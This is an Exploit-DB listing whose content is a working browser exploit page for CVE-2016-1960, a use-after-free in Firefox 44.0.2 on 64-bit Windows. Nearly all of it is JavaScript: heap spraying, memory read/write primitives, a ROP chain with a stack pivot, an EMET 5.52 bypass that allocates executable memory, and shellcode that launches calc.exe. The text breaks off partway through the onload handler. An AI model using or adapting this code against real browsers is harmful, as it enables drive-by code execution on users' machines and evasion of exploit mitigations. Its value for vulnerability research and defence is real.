Mozilla Firefox < 45.0 - 'nsHtml5TreeBuilder' Use-After-Free (EMET 5.52 Bypass)

  • 作者: Hans Jerry Illikainen
    日期: 2017-08-18
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/42484/
  • <!doctype html>
    <html>
    <head>
    <meta http-equiv="cache-control" content="no-cache" charset="utf-8" />
    <title>CVE-2016-1960</title>
    <script>
    /*
     * Exploit Title: Mozilla Firefox < 45.0 nsHtml5TreeBuilder Array Indexing Vulnerability (EMET 5.52 bypass)
     * Author: Hans Jerry Illikainen (exploit), ca0nguyen (vulnerability)
     * Vendor Homepage: https://mozilla.org
     * Software Link: https://ftp.mozilla.org/pub/firefox/releases/44.0.2/win32/en-US/
     * Version: 44.0.2
     * Tested on: Windows 7 and Windows 10
     * CVE: CVE-2016-1960
     *
     * Exploit for CVE-2016-1960 [1] targeting Firefox 44.0.2 [2] on WoW64
     * with/without EMET 5.52.
     *
     * Tested on:
     * - 64bit Windows 10 Pro+Home (version 1703)
     * - 64bit Windows 7 Pro SP1
     *
     * Vulnerability disclosed by ca0nguyen [1].
     * Exploit written by Hans Jerry Illikainen <hji@dyntopia.com>.
     *
     * [1] https://bugzilla.mozilla.org/show_bug.cgi?id=1246014
     * [2] https://ftp.mozilla.org/pub/firefox/releases/44.0.2/win32/en-US/
     */
    
    "use strict";
    
    /* This is executed after having pivoted the stack.`esp' points to a
     * region on the heap, and the original stack pointer is stored in
     * `edi'.In order to bypass EMET, the shellcode should make sure to
     * xchg edi, esp before any protected function is called.
     *
     * For convenience, the first two "arguments" to the shellcode is a
     * module handle for kernel32.dll and the address of GetProcAddress() */
    const shellcode = [
    "\x8b\x84\x24\x04\x00\x00\x00", /* mov eax, dword [esp + 0x4] */
    "\x8b\x8c\x24\x08\x00\x00\x00", /* mov ecx, dword [esp + 0x8] */
    "\x87\xe7", /* xchg edi, esp */
    "\x56", /* push esi */
    "\x57", /* push edi */
    "\x89\xc6", /* mov esi, eax */
    "\x89\xcf", /* mov edi, ecx */
    "\x68\x78\x65\x63\x00", /* push xec\0 */
    "\x68\x57\x69\x6e\x45", /* push WinE */
    "\x54", /* push esp */
    "\x56", /* push esi */
    "\xff\xd7", /* call edi */
    "\x83\xc4\x08", /* add esp, 0x8 */
    
    "\x6a\x00", /* push 0 */
    "\x68\x2e\x65\x78\x65", /* push .exe */
    "\x68\x63\x61\x6c\x63", /* push calc */
    "\x89\xe1", /* mov ecx, esp */
    "\x6a\x01", /* push 1 */
    "\x51", /* push ecx */
    "\xff\xd0", /* call eax */
    "\x83\xc4\x0c", /* add esp, 0xc */
    
    "\x5f", /* pop edi */
    "\x5e", /* pop esi */
    "\x87\xe7", /* xchg edi, esp */
    "\xc3", /* ret */
    ];
    
    function ROPHelper(pe, rwx) {
    this.pe = pe;
    this.rwx = rwx;
    this.cache = {};
    
    this.search = function(instructions) {
    for (let addr in this.cache) {
    if (this.match(this.cache[addr], instructions) === true) {
    return addr;
    }
    }
    
    const text = this.pe.text;
    for (let addr = text.base; addr < text.base + text.size; addr++) {
    const read = this.rwx.readBytes(addr, instructions.length);
    if (this.match(instructions, read) === true) {
    this.cache[addr] = instructions;
    return addr;
    }
    }
    
    throw new Error("could not find gadgets for " + instructions);
    };
    
    this.match = function(a, b) {
    if (a.length !== b.length) {
    return false;
    }
    
    for (let i = 0; i < a.length; i++) {
    if (a[i] !== b[i]) {
    return false;
    }
    }
    return true;
    };
    
    this.execute = function(func, args, cleanup) {
    const u32array = this.rwx.u32array;
    const ret = this.rwx.calloc(4);
    let i = this.rwx.div.mem.idx + 2941; /* gadgets after [A] and [B] */
    
    /*
     * [A] stack pivot
     *
     * xchg eax, esp
     * ret 0x2de8
     */
    const pivot = this.search([0x94, 0xc2, 0xe8, 0x2d]);
    
    /*
     * [B] preserve old esp in a nonvolatile register
     *
     * xchg eax, edi
     * ret
     */
    const after = this.search([0x97, 0xc3]);
    
    /*
     * [C] address to execute
     */
    u32array[i++] = func;
    
    if (cleanup === true && args.length > 0) {
    if (args.length > 1) {
    /*
     * [E] return address from [C]: cleanup args on the stack
     *
     * add esp, args.length*4
     * ret
     */
    u32array[i++] = this.search([0x83, 0xc4, args.length*4, 0xc3]);
    } else {
    /*
     * [E] return address from [C]: cleanup arg
     *
     * pop ecx
     * ret
     */
    u32array[i++] = this.search([0x59, 0xc3]);
    }
    } else {
    /*
     * [E] return address from [C]
     *
     * ret
     */
    u32array[i++] = this.search([0xc3]);
    }
    
    /*
     * [D] arguments for [C]
     */
    for (let j = 0; j < args.length; j++) {
    u32array[i++] = args[j];
    }
    
    /*
     * [F] pop the location for the return value
     *
     * pop ecx
     * ret
     */
    u32array[i++] = this.search([0x59, 0xc3]);
    
    /*
     * [G] address to store the return value
     */
    u32array[i++] = ret.addr;
    
    /*
     * [H] move the return value to [G]
     *
     * mov dword [ecx], eax
     * ret
     */
    u32array[i++] = this.search([0x89, 0x01, 0xc3]);
    
    /*
     * [I] restore the original esp and return
     *
     * mov esp, edi
     * ret
     */
    u32array[i++] = this.search([0x89, 0xfc, 0xc3]);
    
    this.rwx.execute(pivot, after);
    
    return u32array[ret.idx];
    };
    }
    
    function ICUUC55(rop, pe, rwx) {
    this.rop = rop;
    this.pe = pe;
    this.rwx = rwx;
    this.kernel32 = new KERNEL32(rop, pe, rwx);
    this.icuuc55handle = this.kernel32.GetModuleHandleA("icuuc55.dll");
    
    /*
     * The invocation of uprv_malloc_55() requires special care since
     * pAlloc points to a protected function (VirtualAlloc).
     *
     * ROPHelper.execute() can't be used because:
     * 1. it pivots the stack to the heap (StackPivot protection)
     * 2. it returns into the specified function (Caller protection)
     * 3. the forward ROP chain is based on returns (SimExecFlow protection)
     *
     * This function consist of several steps:
     * 1. a second-stage ROP chain is written to the stack
     * 2. a first-stage ROP chain is executed that pivots to the heap
     * 3. the first-stage ROP chain continues by pivoting to #1
     * 4. uprv_malloc_55() is invoked
     * 5. the return value is saved
     * 6. the original stack is restored
     *
     * Of note is that uprv_malloc_55() only takes a `size' argument,
     * and it passes two arguments to the hijacked pAlloc function
     * pointer (context and size; both in our control).VirtualAlloc,
     * on the other hand, expects four arguments.So, we'll have to
     * setup the stack so that the values interpreted by VirtualAlloc as
     * its arguments are reasonably-looking.
     *
     * By the time that uprv_malloc_55() is returned into, the stack
     * will look like:
     * [A] [B] [C] [D]
     *
     * When pAlloc is entered, the stack will look like:
     * [uprv_malloc_55()-ret] [pContext] [B] [A] [B] [C] [D]
     *
     * Since we've set pAlloc to point at VirtualAlloc, the call is
     * interpreted as VirtualAlloc(pContext, B, A, B);
     *
     * Hence, because we want `flProtect' to be PAGE_EXECUTE_READWRITE,
     * we also have to have a `size' with the same value; meaning our
     * rwx allocation will only be 0x40 bytes.
     *
     * This is not a problem, since we can simply write a small snippet
     * of shellcode that allocates a larger region in a non-ROPy way
     * afterwards.
     */
    this.uprv_malloc_55 = function(stackAddr) {
    const func = this.kernel32.GetProcAddress(this.icuuc55handle,
    "uprv_malloc_55");
    const ret = this.rwx.calloc(4);
    const u32array = this.rwx.u32array;
    
    /**********************
     * second stage gadgets
     **********************/
    const stackGadgets = new Array(
    func,
    
    0x1000, /* [A] flAllocationType (MEM_COMMIT) */
    0x40, /* [B] dwSize and flProtect (PAGE_EXECUTE_READWRITE) */
    0x41414141, /* [C] */
    0x42424242, /* [D] */
    
    /*
     * location to write the return value
     *
     * pop ecx
     * ret
     */
    this.rop.search([0x59, 0xc3]),
    ret.addr,
    
    /*
     * do the write
     *
     * mov dword [ecx], eax
     * ret
     */
    this.rop.search([0x89, 0x01, 0xc3]),
    
    /*
     * restore the old stack
     *
     * mov esp, edi
     * ret
     */
    this.rop.search([0x89, 0xfc, 0xc3])
    );
    
    const origStack = this.rwx.readDWords(stackAddr, stackGadgets.length);
    this.rwx.writeDWords(stackAddr, stackGadgets);
    
    
    /*********************
     * first stage gadgets
     *********************/
    /*
     * pivot
     *
     * xchg eax, esp
     * ret 0x2de8
     */
    const pivot = this.rop.search([0x94, 0xc2, 0xe8, 0x2d]);
    
    /*
     * preserve old esp in a nonvolatile register
     *
     * xchg eax, edi
     * ret
     */
    const after = this.rop.search([0x97, 0xc3]);
    
    /*
     * pivot to the second stage
     *
     * pop esp
     * ret
     */
    u32array[this.rwx.div.mem.idx + 2941] = this.rop.search([0x5c, 0xc3]);
    u32array[this.rwx.div.mem.idx + 2942] = stackAddr;
    
    /*
     * here we go :)
     */
    this.rwx.execute(pivot, after);
    this.rwx.writeDWords(stackAddr, origStack);
    
    if (u32array[ret.idx] === 0) {
    throw new Error("uprv_malloc_55() failed");
    }
    return u32array[ret.idx];
    };
    
    /*
     * Overrides the pointers in firefox-44.0.2/intl/icu/source/common/cmemory.c
     */
    this.u_setMemoryFunctions_55 = function(context, a, r, f, status) {
    const func = this.kernel32.GetProcAddress(this.icuuc55handle,
    "u_setMemoryFunctions_55");
    this.rop.execute(func, [context, a, r, f, status], true);
    };
    
    /*
     * Sets `pAlloc' to VirtualAlloc.`pRealloc' and `pFree' are
     * set to point to small gadgets.
     */
    this.set = function() {
    const status = this.rwx.calloc(4);
    const alloc = this.pe.search("kernel32.dll", "VirtualAlloc");
    
    /* pretend to be a failed reallocation
     *
     * xor eax, eax
     * ret */
    const realloc = this.rop.search([0x33, 0xc0, 0xc3]);
    
    /* let the chunk live
     *
     * ret */
    const free = this.rop.search([0xc3]);
    
    this.u_setMemoryFunctions_55(0, alloc, realloc, free, status.addr);
    if (this.rwx.u32array[status.idx] !== 0) {
    throw new Error("u_setMemoryFunctions_55() failed");
    }
    };
    
    /*
     * This (sort of) restores the functionality in
     * intl/icu/source/common/cmemory.c by reusing the previously
     * allocated PAGE_EXECUTE_READWRITE chunk to set up three stubs that
     * invokes an appropriate function in mozglue.dll
     */
    this.reset = function(chunk) {
    const u32array = this.rwx.u32array;
    const status = this.rwx.calloc(4);
    
    /*
     * pFree
     */
    const free = {};
    free.addr = chunk;
    free.func = this.rwx.calloc(4);
    free.func.str = this.dword2str(free.func.addr);
    free.code = [
    "\x8b\x84\x24\x08\x00\x00\x00", /* mov eax, dword [esp + 0x8] */
    "\x50", /* push eax */
    "\x8b\x05" + free.func.str, /* mov eax, [location-of-free] */
    "\xff\xd0", /* call eax */
    "\x59", /* pop ecx */
    "\xc3", /* ret */
    ].join("");
    u32array[free.func.idx] = this.pe.search("mozglue.dll", "free");
    this.rwx.writeString(free.addr, free.code);
    
    /*
     * pAlloc
     */
    const alloc = {};
    alloc.addr = chunk + free.code.length;
    alloc.func = this.rwx.calloc(4);
    alloc.func.str = this.dword2str(alloc.func.addr);
    alloc.code = [
    "\x8b\x84\x24\x08\x00\x00\x00", /* mov eax, dword [esp + 0x8] */
    "\x50", /* push eax */
    "\x8b\x05" + alloc.func.str,/* mov eax, [location-of-alloc] */
    "\xff\xd0", /* call eax */
    "\x59", /* pop ecx */
    "\xc3", /* ret */
    ].join("");
    u32array[alloc.func.idx] = this.pe.search("mozglue.dll", "malloc");
    this.rwx.writeString(alloc.addr, alloc.code);
    
    /*
     * pRealloc
     */
    const realloc = {};
    realloc.addr = chunk + free.code.length + alloc.code.length;
    realloc.func = this.rwx.calloc(4);
    realloc.func.str = this.dword2str(realloc.func.addr);
    realloc.code = [
    "\x8b\x84\x24\x0c\x00\x00\x00", /* mov eax, dword [esp + 0xc] */
    "\x50", /* push eax */
    "\x8b\x84\x24\x0c\x00\x00\x00", /* mov eax, dword [esp + 0xc] */
    "\x50", /* push eax */
    "\x8b\x05" + realloc.func.str,/* mov eax, [location-of-realloc] */
    "\xff\xd0", /* call eax */
    "\x59", /* pop ecx */
    "\x59", /* pop ecx */
    "\xc3", /* ret */
    ].join("");
    u32array[realloc.func.idx] = this.pe.search("mozglue.dll", "realloc");
    this.rwx.writeString(realloc.addr, realloc.code);
    
    this.u_setMemoryFunctions_55(0,
     alloc.addr,
     realloc.addr,
     free.addr,
     status.addr);
    if (u32array[status.idx] !== 0) {
    throw new Error("u_setMemoryFunctions_55() failed");
    }
    };
    
    /*
     * Allocates a small chunk of memory marked RWX, which is used
     * to allocate a `size'-byte chunk (see uprv_malloc_55()).The
     * first allocation is then repurposed in reset().
     */
    this.alloc = function(stackAddr, size) {
    /*
     * hijack the function pointers
     */
    this.set();
    
    /*
     * do the initial 0x40 byte allocation
     */
    const chunk = this.uprv_malloc_55(stackAddr);
    log("allocated 0x40 byte chunk at 0x" + chunk.toString(16));
    
    /*
     * allocate a larger chunk now that we're no longer limited to ROP/JOP
     */
    const u32array = this.rwx.u32array;
    const func = this.rwx.calloc(4);
    func.str = this.dword2str(func.addr);
    u32array[func.idx] = this.pe.search("kernel32.dll", "VirtualAlloc");
    const code = [
    "\x87\xe7",/* xchg edi, esp (orig stack) */
    "\x6a\x40",/* push 0x40 (flProtect) */
    "\x68\x00\x10\x00\x00",/* push 0x1000 (flAllocationType) */
    "\xb8" + this.dword2str(size), /* move eax, size */
    "\x50",/* push eax (dwSize) */
    "\x6a\x00",/* push 0 (lpAddress) */
    "\x8b\x05" + func.str, /* mov eax, [loc-of-VirtualAlloc] */
    "\xff\xd0",/* call eax */
    "\x87\xe7",/* xchg edi, esp (back to heap) */
    "\xc3",/* ret */
    ].join("");
    this.rwx.writeString(chunk, code);
    const newChunk = this.rop.execute(chunk, [], false);
    log("allocated " + size + " byte chunk at 0x" + newChunk.toString(16));
    
    /*
     * repurpose the first rwx chunk to restore functionality
     */
    this.reset(chunk);
    
    return newChunk;
    };
    
    this.dword2str = function(dword) {
    let str = "";
    for (let i = 0; i < 4; i++) {
    str += String.fromCharCode((dword >> 8 * i) & 0xff);
    }
    return str;
    };
    }
    
    function KERNEL32(rop, pe, rwx) {
    this.rop = rop;
    this.pe = pe;
    this.rwx = rwx;
    
    /*
     * Retrieves a handle for an imported module
     */
    this.GetModuleHandleA = function(lpModuleName) {
    const func = this.pe.search("kernel32.dll", "GetModuleHandleA");
    const name = this.rwx.copyString(lpModuleName);
    const module = this.rop.execute(func, [name.addr], false);
    if (module === 0) {
    throw new Error("could not get a handle for " + lpModuleName);
    }
    return module;
    };
    
    /*
     * Retrieves the address of an exported symbol.Do not invoke this
     * function on protected modules (if you want to bypass EAF); instead
     * try to locate the symbol in any of the import tables or choose
     * another target.
     */
    this.GetProcAddress = function(hModule, lpProcName) {
    const func = this.pe.search("kernel32.dll", "GetProcAddress");
    const name = this.rwx.copyString(lpProcName);
    const addr = this.rop.execute(func, [hModule, name.addr], false);
    if (addr === 0) {
    throw new Error("could not get address for " + lpProcName);
    }
    return addr;
    };
    
    /*
     * Retrieves a handle for the current thread
     */
    this.GetCurrentThread = function() {
    const func = this.pe.search("kernel32.dll", "GetCurrentThread");
    return this.rop.execute(func, [], false);
    };
    }
    
    function NTDLL(rop, pe, rwx) {
    this.rop = rop;
    this.pe = pe;
    this.rwx = rwx;
    
    /*
     * Retrieves the stack limit from the Thread Environment Block
     */
    this.getStackLimit = function(ThreadHandle) {
    const mem = this.rwx.calloc(0x1c);
    this.NtQueryInformationThread(ThreadHandle, 0, mem.addr, mem.size, 0);
    return this.rwx.readDWord(this.rwx.u32array[mem.idx+1] + 8);
    };
    
    /*
     * Retrieves thread information
     */
    this.NtQueryInformationThread = function(ThreadHandle,
     ThreadInformationClass,
     ThreadInformation,
     ThreadInformationLength,
     ReturnLength) {
    const func = this.pe.search("ntdll.dll", "NtQueryInformationThread");
    const ret = this.rop.execute(func, arguments, false);
    if (ret !== 0) {
    throw new Error("NtQueryInformationThread failed");
    }
    return ret;
    };
    }
    
    function ReadWriteExecute(u32base, u32array, array) {
    this.u32base = u32base;
    this.u32array = u32array;
    this.array = array;
    
    /*
     * Reads `length' bytes from `addr' through a fake string
     */
    this.readBytes = function(addr, length) {
    /* create a string-jsval */
    this.u32array[4] = this.u32base + 6*4; /* addr to meta */
    this.u32array[5] = 0xffffff85; /* type (JSVAL_TAG_STRING) */
    
    /* metadata */
    this.u32array[6] = 0x49; /* flags */
    this.u32array[7] = length; /* read size */
    this.u32array[8] = addr; /* memory to read */
    
    /* Uint8Array is *significantly* slower, which kills our ROP hunting */
    const result = new Array();
    
    const str = this.getArrayElem(4);
    for (let i = 0; i < str.length; i++) {
    result[i] = str.charCodeAt(i);
    }
    
    return result;
    };
    
    this.readDWords = function(addr, num) {
    const bytes = this.readBytes(addr, num * 4);
    const dwords = new Uint32Array(num);
    for (let i = 0; i < bytes.length; i += 4) {
    for (let j = 0; j < 4; j++) {
    dwords[i/4] |= bytes[i+j] << (8 * j);
    }
    }
    return dwords;
    };
    
    this.readDWord = function(addr) {
    return this.readDWords(addr, 1)[0];
    };
    
    this.readWords = function(addr, num) {
    const bytes = this.readBytes(addr, num * 2);
    const words = new Uint16Array(num);
    for (let i = 0; i < bytes.length; i += 2) {
    for (let j = 0; j < 2; j++) {
    words[i/2] |= bytes[i+j] << (8 * j);
    }
    }
    return words;
    };
    
    this.readWord = function(addr) {
    return this.readWords(addr, 1)[0];
    };
    
    this.readString = function(addr) {
    for (let i = 0, str = ""; ; i++) {
    const chr = this.readBytes(addr + i, 1)[0];
    if (chr === 0) {
    return str;
    }
    str += String.fromCharCode(chr);
    }
    };
    
    /*
     * Writes `values' to `addr' by using the metadata of an Uint8Array
     * to set up a write primitive
     */
    this.writeBytes = function(addr, values) {
    /* create jsval */
    const jsMem = this.calloc(8);
    this.setArrayElem(jsMem.idx, new Uint8Array(values.length));
    
    /* copy metadata */
    const meta = this.readDWords(this.u32array[jsMem.idx], 12);
    const metaMem = this.calloc(meta.length * 4);
    for (let i = 0; i < meta.length; i++) {
    this.u32array[metaMem.idx + i] = meta[i];
    }
    
    /* change the pointer to the contents of the Uint8Array */
    this.u32array[metaMem.idx + 10] = addr;
    
    /* change the pointer to the metadata */
    const oldMeta = this.u32array[jsMem.idx];
    this.u32array[jsMem.idx] = metaMem.addr;
    
    /* write */
    const u8 = this.getArrayElem(jsMem.idx);
    for (let i = 0; i < values.length; i++) {
    u8[i] = values[i];
    }
    
    /* clean up */
    this.u32array[jsMem.idx] = oldMeta;
    };
    
    this.writeDWords = function(addr, values) {
    const u8 = new Uint8Array(values.length * 4);
    for (let i = 0; i < values.length; i++) {
    for (let j = 0; j < 4; j++) {
    u8[i*4 + j] = values[i] >> (8 * j) & 0xff;
    }
    }
    this.writeBytes(addr, u8);
    };
    
    this.writeDWord = function(addr, value) {
    const u32 = new Uint32Array(1);
    u32[0] = value;
    this.writeDWords(addr, u32);
    };
    
    this.writeString = function(addr, str) {
    const u8 = new Uint8Array(str.length);
    
    for (let i = 0; i < str.length; i++) {
    u8[i] = str.charCodeAt(i);
    }
    this.writeBytes(addr, u8);
    };
    
    /*
     * Copies a string to the `u32array' and returns an object from
     * calloc().
     *
     * This is an ugly workaround to allow placing a string at a known
     * location without having to implement proper support for JSString
     * and its various string types.
     */
    this.copyString = function(str) {
    str += "\x00".repeat(4 - str.length % 4);
    const mem = this.calloc(str.length);
    
    for (let i = 0, j = 0; i < str.length; i++) {
    if (i && !(i % 4)) {
    j++;
    }
    this.u32array[mem.idx + j] |= str.charCodeAt(i) << (8 * (i % 4));
    }
    return mem;
    };
    
    /*
     * Creates a <div> and copies the contents of its vftable to
     * writable memory.
     */
    this.createExecuteDiv = function() {
    const div = {};
    
    /* 0x3000 bytes should be enough for the div, vftable and gadgets */
    div.mem = this.calloc(0x3000);
    
    div.elem = document.createElement("div");
    this.setArrayElem(div.mem.idx, div.elem);
    
    /* addr of the div */
    const addr = this.u32array[div.mem.idx];
    
    /* *(addr+4) = this */
    const ths = this.readDWord(addr + 4*4);
    
    /* *this = xul!mozilla::dom::HTMLDivElement::`vftable' */
    const vftable = this.readDWord(ths);
    
    /* copy the vftable (the size is a guesstimate) */
    const entries = this.readDWords(vftable, 512);
    this.writeDWords(div.mem.addr + 4*2, entries);
    
    /* replace the pointer to the original vftable with ours */
    this.writeDWord(ths, div.mem.addr + 4*2);
    
    return div;
    };
    
    /*
     * Replaces two vftable entries of the previously created div and
     * triggers code execution
     */
    this.execute = function(pivot, postPivot) {
    /* vftable entry for xul!nsGenericHTMLElement::QueryInterface
     * kind of ugly, but we'll land here after the pivot that's used
     * in ROPHelper.execute() */
    const savedQueryInterface = this.u32array[this.div.mem.idx + 2];
    this.u32array[this.div.mem.idx + 2] = postPivot;
    
    /* vftable entry for xul!nsGenericHTMLElement::Click */
    const savedClick = this.u32array[this.div.mem.idx + 131];
    this.u32array[this.div.mem.idx + 131] = pivot;
    
    /* execute */
    this.div.elem.click();
    
    /* restore our overwritten vftable pointers */
    this.u32array[this.div.mem.idx + 2] = savedQueryInterface;
    this.u32array[this.div.mem.idx + 131] = savedClick;
    };
    
    /*
     * Reserves space in the `u32array' and initializes it to 0.
     *
     * Returns an object with the following properties:
     * - idx: index of the start of the allocation in the u32array
     * - addr: start address of the allocation
     * - size: non-padded allocation size
     * - realSize: padded size
     */
    this.calloc = function(size) {
    let padded = size;
    if (!size || size % 4) {
    padded += 4 - size % 4;
    }
    
    const found = [];
    /* the first few dwords are reserved for the metadata belonging
     * to `this.array' and for the JSString in readBytes (since using
     * this function would impact the speed of the ROP hunting) */
    for (let i = 10; i < this.u32array.length - 1; i += 2) {
    if (this.u32array[i] === 0x11223344 &&
    this.u32array[i+1] === 0x55667788) {
    found.push(i, i+1);
    if (found.length >= padded / 4) {
    for (let j = 0; j < found.length; j++) {
    this.u32array[found[j]] = 0;
    }
    return {
    idx: found[0],
    addr: this.u32base + found[0]*4,
    size: size,
    realSize: padded,
    };
    }
    } else {
    found.length = 0;
    }
    }
    throw new Error("calloc(): out of memory");
    };
    
    /*
     * Returns an element in `array' based on an index for `u32array'
     */
    this.getArrayElem = function(idx) {
    if (idx <= 3 || idx % 2) {
    throw new Error("invalid index");
    }
    return this.array[(idx - 4) / 2];
    };
    
    /*
     * Sets an element in `array' based on an index for `u32array'
     */
    this.setArrayElem = function(idx, value) {
    if (idx <= 3 || idx % 2) {
    throw new Error("invalid index");
    }
    this.array[(idx - 4) / 2] = value;
    };
    
    this.div = this.createExecuteDiv();
    }
    
    function PortableExecutable(base, rwx) {
    this.base = base;
    this.rwx = rwx;
    this.imports = {};
    this.text = {};
    
    /*
     * Parses the PE import table.Some resources of interest:
     *
     * - An In-Depth Look into the Win32 Portable Executable File Format
     * https://msdn.microsoft.com/en-us/magazine/bb985992(printer).aspx
     *
     * - Microsoft Portable Executable and Common Object File Format Specification
     * https://www.microsoft.com/en-us/download/details.aspx?id=19509
     *
     * - Understanding the Import Address Table
     * http://sandsprite.com/CodeStuff/Understanding_imports.html
     */
    this.read = function() {
    const rwx = this.rwx;
    let addr = this.base;
    
    /*
     * DOS header
     */
    const magic = rwx.readWord(addr);
    if (magic !== 0x5a4d) {
    throw new Error("bad DOS header");
    }
    const lfanew = rwx.readDWord(addr + 0x3c, 4);
    addr += lfanew;
    
    /*
     * Signature
     */
    const signature = rwx.readDWord(addr);
    if (signature !== 0x00004550) {
    throw new Error("bad signature");
    }
    addr += 4;
    
    /*
     * COFF File Header
     */
    addr += 20;
    
    /*
     * Optional Header
     */
    const optionalMagic = rwx.readWord(addr);
    if (optionalMagic !== 0x010b) {
    throw new Error("bad optional header");
    }
    
    this.text.size = rwx.readDWord(addr + 4);
    this.text.base = this.base + rwx.readDWord(addr + 20);
    
    const numberOfRvaAndSizes = rwx.readDWord(addr + 92);
    addr += 96;
    
    /*
     * Optional Header Data Directories
     *
     * N entries * 2 DWORDs (RVA and size)
     */
    const directories = rwx.readDWords(addr, numberOfRvaAndSizes * 2);
    
    for (let i = 0; i < directories[3] - 5*4; i += 5*4) {
    /* Import Directory Table (N entries * 5 DWORDs) */
    const members = rwx.readDWords(this.base + directories[2] + i, 5);
    const lookupTable = this.base + members[0];
    const dllName = rwx.readString(this.base+members[3]).toLowerCase();
    const addrTable = this.base + members[4];
    
    this.imports[dllName] = {};
    
    /* Import Lookup Table */
    for (let j = 0; ; j += 4) {
    const hintNameRva = rwx.readDWord(lookupTable + j);
    /* the last entry is NULL */
    if (hintNameRva === 0) {
    break;
    }
    
    /* name is not available if the dll is imported by ordinal */
    if (hintNameRva & (1 << 31)) {
    continue;
    }
    
    const importName = rwx.readString(this.base + hintNameRva + 2);
    const importAddr = rwx.readDWord(addrTable + j);
    this.imports[dllName][importName] = importAddr;
    }
    }
    };
    
    /*
     * Searches for an imported symbol
     */
    this.search = function(dll, symbol) {
    if (this.imports[dll] === undefined) {
    throw new Error("unknown dll: " + dll);
    }
    
    const addr = this.imports[dll][symbol];
    if (addr === undefined) {
    throw new Error("unknown symbol: " + symbol);
    }
    return addr;
    };
    }
    
    function Spray() {
    this.nodeBase = 0x80000000;
    this.ptrNum = 64;
    this.refcount = 0xffffffff;
    /*
     * 0:005> ?? sizeof(nsHtml5StackNode)
     * unsigned int 0x1c
     */
    this.nsHtml5StackNodeSize = 0x1c;
    
    /*
     * Creates a bunch of fake nsHtml5StackNode:s with the hope of hitting
     * the address of elementName->name when it's [xul!nsHtml5Atoms::style].
     *
     * Ultimately, the goal is to enter the conditional on line 2743:
     *
     * firefox-44.0.2/parser/html/nsHtml5TreeBuilder.cpp:2743
     * ,----
     * | 2214 void
     * | 2215 nsHtml5TreeBuilder::endTag(nsHtml5ElementName* elementName)
     * | 2216 {
     * | ....
     * | 2221 nsIAtom* name = elementName->name;
     * | ....
     * | 2741 for (; ; ) {
     * | 2742 nsHtml5StackNode* node = stack[eltPos];
     * | 2743 if (node->ns == kNameSpaceID_XHTML && node->name == name) {
     * | ....
     * | 2748 while (currentPtr >= eltPos) {
     * | 2749 pop();
     * | 2750 }
     * | 2751 NS_HTML5_BREAK(endtagloop);
     * | 2752 } else if (node->isSpecial()) {
     * | 2753 errStrayEndTag(name);
     * | 2754 NS_HTML5_BREAK(endtagloop);
     * | 2755 }
     * | 2756 eltPos--;
     * | 2757 }
     * | ....
     * | 3035 }
     * `----
     *
     * We get 64 attempts each time the bug is triggered -- however, in
     * order to have a clean break, the last node has its flags set to
     * NS_HTML5ELEMENT_NAME_SPECIAL, so that the conditional on line
     * 2752 is entered.
     *
     * If we do find ourselves with a node->name == name, then
     * nsHtml5TreeBuilder::pop() invokes nsHtml5StackNode::release().
     * The release() method decrements the nodes refcount -- and, if the
     * refcount reaches 0, also deletes it.
     *
     * Assuming everything goes well, the Uint32Array is allocated with
     * the method presented by SkyLined/@berendjanwever in:
     *
     * "Heap spraying high addresses in 32-bit Chrome/Firefox on 64-bit Windows"
     * http://blog.skylined.nl/20160622001.html
     */
    this.nodes = function(name, bruteforce) {
    const nodes = new Uint32Array(0x19000000);
    const size = this.nsHtml5StackNodeSize / 4;
    const refcount = bruteforce ? this.refcount : 1;
    let flags = 0;
    
    for (let i = 0; i < this.ptrNum * size; i += size) {
    if (i === (this.ptrNum - 1) * size) {
    flags = 1 << 29; /* NS_HTML5ELEMENT_NAME_SPECIAL */
    name = 0x0;
    }
    nodes[i] = flags;
    nodes[i+1] = name;
    nodes[i+2] = 0; /* popName */
    nodes[i+3] = 3; /* ns (kNameSpaceID_XHTML) */
    nodes[i+4] = 0; /* node */
    nodes[i+5] = 0; /* attributes */
    nodes[i+6] = refcount;
    name += 0x100000;
    }
    return nodes;
    };
    
    /*
     * Sprays pointers to the fake nsHtml5StackNode:s created in nodes()
     */
    this.pointers = function() {
    const pointers = new Array();
    
    for (let i = 0; i < 0x30000; i++) {
    pointers[i] = new Uint32Array(this.ptrNum);
    let node = this.nodeBase;
    for (let j = pointers[i].length - 1; j >= 0; j--) {
    pointers[i][j] = node;
    node += this.nsHtml5StackNodeSize;
    }
    }
    return pointers;
    };
    
    /*
     * Sprays a bunch of arrays with the goal of having one hijack the
     * previously freed Uint32Array
     */
    this.arrays = function() {
    const array = new Array();
    
    for (let i = 0; i < 0x800; i++) {
    array[i] = new Array();
    for (let j = 0; j < 0x10000; j++) {
    /* 0x11223344, 0x55667788 */
    array[i][j] = 2.5160082934009793e+103;
    }
    }
    return array;
    };
    
    /*
     * Not sure how reliable this is, but on 3 machines running win10 on
     * bare metal and on a few VMs with win7/win10 (all with and without
     * EMET), [xul!nsHtml5Atoms::style] was always found within
     * 0x[00a-1c2]f[a-f]6(c|e)0
     */
    this.getNextAddr = function(current) {
    const start = 0x00afa6c0;
    
    if (!current) {
    return start;
    }
    
    if ((current >> 20) < 0x150) {
    return current + 0x100000*(this.ptrNum-1);
    }
    
    if ((current >> 12 & 0xf) !== 0xf) {
    return (current + 0x1000) & ~(0xfff << 20) | (start >> 20) << 20;
    }
    
    if ((current >> 4 & 0xf) === 0xc) {
    return start + 0x20;
    }
    throw new Error("out of guesses");
    };
    
    /*
     * Returns the `name' from the last node with a decremented
     * refcount, if any are found
     */
    this.findStyleAddr = function(nodes) {
    const size = this.nsHtml5StackNodeSize / 4;
    
    for (let i = 64 * size - 1; i >= 0; i -= size) {
    if (nodes[i] === this.refcount - 1) {
    return nodes[i-5];
    }
    }
    };
    
    /*
     * Locates a subarray in `array' that overlaps with `nodes'
     */
    this.findArray = function(nodes, array) {
    /* index 0..3 is metadata for `array' */
    nodes[4] = 0x41414141;
    nodes[5] = 0x42424242;
    
    for (let i = 0; i < array.length; i++) {
    if (array[i][0] === 156842099330.5098) {
    return array[i];
    }
    }
    throw new Error("Uint32Array hijack failed");
    };
    }
    
    function log(msg) {
    dump("=> " + msg + "\n");
    console.log("=> " + msg);
    }
    
    let nodes;
    let hijacked;
    window.onload = function() {
    if (!navigator.userAgent.match(/Windows NT [0-9.]+; WOW64; rv:44\.0/)) {
    throw new Error("unsupported user-agent");
    }
    
    const spray = new Spray();
    
    /*
     * spray nodes
     */
    let bruteforce = true;
    let addr = spray.getNextAddr(0);
    const href = window.location.href.split("?");
    if (href.length === 2) {
